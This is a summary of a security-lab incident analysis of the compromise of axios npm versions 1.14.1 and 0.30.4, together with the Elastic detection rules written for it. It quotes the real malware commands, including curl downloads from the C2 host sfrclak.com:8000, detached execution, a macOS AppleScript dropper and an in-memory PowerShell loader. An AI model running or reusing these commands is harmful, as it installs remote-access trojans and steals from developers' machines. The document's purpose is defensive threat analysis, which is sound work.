# Elastic releases detections for the Axios supply chain compromise

Malicious axios versions 1.14.1 and 0.30.4 pulled in plain-crypto-js@4.2.1, whose postinstall dropped cross-platform RATs on Linux, Windows and macOS.

- Payout: Real-world hack
- Severity: critical
- Program: axios
- Analysis by: Ruben Groenewoud, Samir Bousseaden, Salim Bitam, Joe Desimone, Colson Wilhoit, Andrew Pease
- Disclosed: 2026-04-01
- Write-up quality: 6/10
- Original: https://www.elastic.co/security-labs/blog/axios-supply-chain-compromise-detections
- Library page: https://bugbountylibrary.com/r/blog%3Aelastic-co-security-labs-blog-axios-supply-chain-compromise-detections
- Tags: area:cloud domain:infra domain:oss impact:data-leak impact:rce kind:incident platform:threat-intel sev:critical tech:nodejs technique:source-review vuln:misconfiguration

**Target:** npm package postinstall hook and transitive dependency
**Root cause:** Attacker published malicious axios versions that added a transitive dependency (plain-crypto-js@4.2.1) whose postinstall script spawned OS-native interpreters to fetch and detach a second-stage RAT, avoiding embedding logic in the main package.
**Steps:**
1. Victim runs `npm install` on axios 1.14.1 or 0.30.4, pulling plain-crypto-js@4.2.1
2. postinstall executes setup.js which spawns OS-native interpreter: `node → /bin/sh -c curl -o /tmp/ld.py ... && nohup python3 /tmp/ld.py ... &` on Linux
3. Windows: renamed PowerShell at `C:\ProgramData\wt.exe` uses curl to fetch remote PowerShell script, persists via `HKCU\...\Run\MicrosoftUpdate` running `C:\ProgramData\system.bat`
4. macOS: AppleScript via osascript runs `curl -o /Library/Caches/com.apple.act.mond -d packages.npm.org/product0 -s http://sfrclak.com:8000/6202033` then `/bin/zsh -c` executes it
5. Stage 2 RATs beacon to C2 `sfrclak[.]com:8000` every 60s with fake IE8 User-Agent, fingerprint host, enumerate dirs/processes, and accept runscript/peinject tasking
**How found:** Elastic observed consistent process ancestry after npm install: node spawning sh/cscript/osascript followed by remote fetch and detached execution, then pivoted to analyze the second-stage payloads.
**Exploitation:** Install-time execution gives attacker code on developer machines across all three OSes; RATs provide arbitrary command execution, in-memory .NET injection (Windows), base64 Python execution (Linux), and ad-hoc signed payload drops (macOS) for follow-on access.
**Escalation:** Transitive dependency hides malicious logic from primary package review; renamed signed binaries and Apple-masquerading paths evade naive detection; persistence via registry Run key and detached nohup processes.
**Insight:** Monitor postinstall process ancestry (node spawning shells/curl/wget) rather than package contents; transitive dependencies are the execution vector, and renamed signed binaries in ProgramData or com.apple.* paths in /Library/Caches are high-signal.

## Proof of concept (copied exactly from the original report)

**Linux node-to-shell curl payload chain**

```
node → /bin/sh -c curl -o /tmp/ld.py ... && nohup python3 /tmp/ld.py ... &

Which shows up as follows:

Elastic alerts triggering on backdoor execution

The initial signal comes from the Node.js process, handing off execution to a shell that performs a remote fetch. This is captured by the Curl or Wget Spawned via Node.js detection rule.

event.category:process and
process.parent.name:("node" or "bun" or "node.exe" or "bun.exe") and 
(
 (
 process.name:(
 "bash" or "dash" or "sh" or "tcsh" or "csh" or "zsh" or "ksh" or
 "fish" or "cmd.exe" or "bash.exe" or "powershell.exe"
 ) and
 process.command_line:(*curl*http* or *wget*http*)
 ) or 
 process.name:("curl" or "wget" or "curl.exe" or "wget.exe")
)

This captures the moment when the installation flow deviates from normal package behavior and begins pulling a payload over HTTP. In this case, it is the curl invocation that retrieves /tmp/ld.py from the remote server.

Shortly after, execution continues in the same shell, but now the focus shifts from retrieval to execution. This is picked up by Process Backgrounded by Unusual Parent.

event.category:process and event.type:start and
process.name:(bash or csh or dash or fish or ksh or sh or tcsh or zsh) and
process.args:(-c and *&)

Which captures the second half of the chain:

sh -c "... && nohup python3 /tmp/ld.py ... &"
```

**macOS AppleScript curl download and launch**

```
do shell script "curl -o /Library/Caches/com.apple.act.mond \
 -d packages.npm.org/product0 \
 -s http://sfrclak.com:8000/6202033 \
 && chmod 770 /Library/Caches/com.apple.act.mond \
 && /bin/zsh -c \"/Library/Caches/com.apple.act.mond http://sfrclak.com:8000/6202033 &\" \ &> /dev/null"
```

**Windows persistence batch in-memory payload**

```
start /min powershell -w h -c "
([scriptblock]::Create(
 [System.Text.Encoding]::UTF8.GetString(
 (Invoke-WebRequest -UseBasicParsing -Uri '' -Method POST -Body 'packages.npm.org/product1').Content
```

